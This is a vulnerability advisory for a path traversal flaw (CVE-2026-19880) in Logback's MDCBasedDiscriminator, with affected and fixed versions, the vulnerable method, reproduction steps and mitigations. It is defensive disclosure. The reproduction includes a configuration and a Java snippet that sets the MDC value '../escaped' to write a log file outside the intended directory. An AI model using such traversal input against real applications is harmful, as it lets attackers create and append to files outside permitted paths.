CVE-2026-19880

Overview

Logback is an open-source Java logging framework designed as a successor to Log4j. Its core module provides logging infrastructure, logback-classic implements the SLF4J API, and logback-access supplies HTTP access logging for servlet containers.

A path traversal vulnerability (CVE-2026-19880) has been identified in the MDCBasedDiscriminator class of logback-classic, which allows attackers who can influence an MDC value (for example, through an HTTP header) to create and append to log files outside the directory configured for a SiftingAppender.

Per OWASP: A path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder.

This issue affects multiple versions of Logback.

Details

Module Info

• Product: Logback
• Affected packages: ch.qos.logback:logback-classic
• Affected versions: >=0.9.14 <=1.6.2
• GitHub repository: https://github.com/qos-ch/logback
• Published packages: https://central.sonatype.com/artifact/ch.qos.logback/logback-classic
• Package manager: Maven
• Fixed in:
  
  • OSS Logback 1.6.3
  • NES for Logback v1.2.15

Vulnerability Info

This Medium-severity vulnerability is found in the ch.qos.logback:logback-classic package in multiple versions of Logback.

SiftingAppender creates a separate nested appender for each distinct discriminating value. Its default discriminator, MDCBasedDiscriminator, reads that value from the Mapped Diagnostic Context (MDC) entry named by its Key property, and the value is then substituted for the key variable in the nested appender's configuration. In affected versions, getDiscriminatingValue() returns the MDC value exactly as it was stored:

public String getDiscriminatingValue(ILoggingEvent event) {
    Map<String, String> mdcMap = event.getMDCPropertyMap();
    if (mdcMap == null) {
        return defaultValue;
    }
    String mdcValue = mdcMap.get(key);
    if (mdcValue == null) {
        return defaultValue;
    } else {
        return mdcValue;
    }
}

Applications commonly populate the MDC from request data such as a user name, tenant identifier or HTTP header, and commonly use the discriminating value as part of a nested FileAppender <file> path such as logs/${userId}.log. Because path separators and relative path components such as ../ pass through unchanged, an attacker who controls the MDC value controls where the nested appender's file is resolved. Logback then creates that file, including in directories outside the configured log directory, and appends log events to it with the privileges of the application.

Steps to Reproduce

1. Configure a SiftingAppender whose nested FileAppender writes to a path built from an MDC key:

   <configuration>
     <appender name="SIFT" class="ch.qos.logback.classic.sift.SiftingAppender">
       <discriminator>
         <key>userId</key>
         <defaultValue>unknown</defaultValue>
       </discriminator>
       <sift>
         <appender name="FILE-${userId}" class="ch.qos.logback.core.FileAppender">
           <file>logs/${userId}.log</file>
           <encoder>
             <pattern>%msg%n</pattern>
           </encoder>
         </appender>
       </sift>
     </appender>
     <root level="INFO">
       <appender-ref ref="SIFT" />
     </root>
   </configuration>

2. Log one event without the MDC key, which creates logs/unknown.log, then log an event while the MDC key holds a value containing a relative path component:

   import org.slf4j.Logger;
   import org.slf4j.LoggerFactory;
   import org.slf4j.MDC;
   
   public class Repro {
       public static void main(String[] args) {
           Logger logger = LoggerFactory.getLogger(Repro.class);
           logger.info("written to logs/unknown.log");
           MDC.put("userId", "../escaped");
           logger.info("written outside logs/");
       }
   }

3. Observe that the log event is written to escaped.log in the working directory, outside the logs/ directory.

Mitigation

Logback 1.2.x is End-of-Life and will not receive any updates to address this issue. For more information, see here.

Users of the affected components should apply one of the following mitigations:

• Upgrade affected applications to a currently supported version of Logback.
• Leverage a commercial support partner like HeroDevs for post-EOL security support.

Credits

York Shen (Yong Shen) from PayPal Cyber Security Team (finder)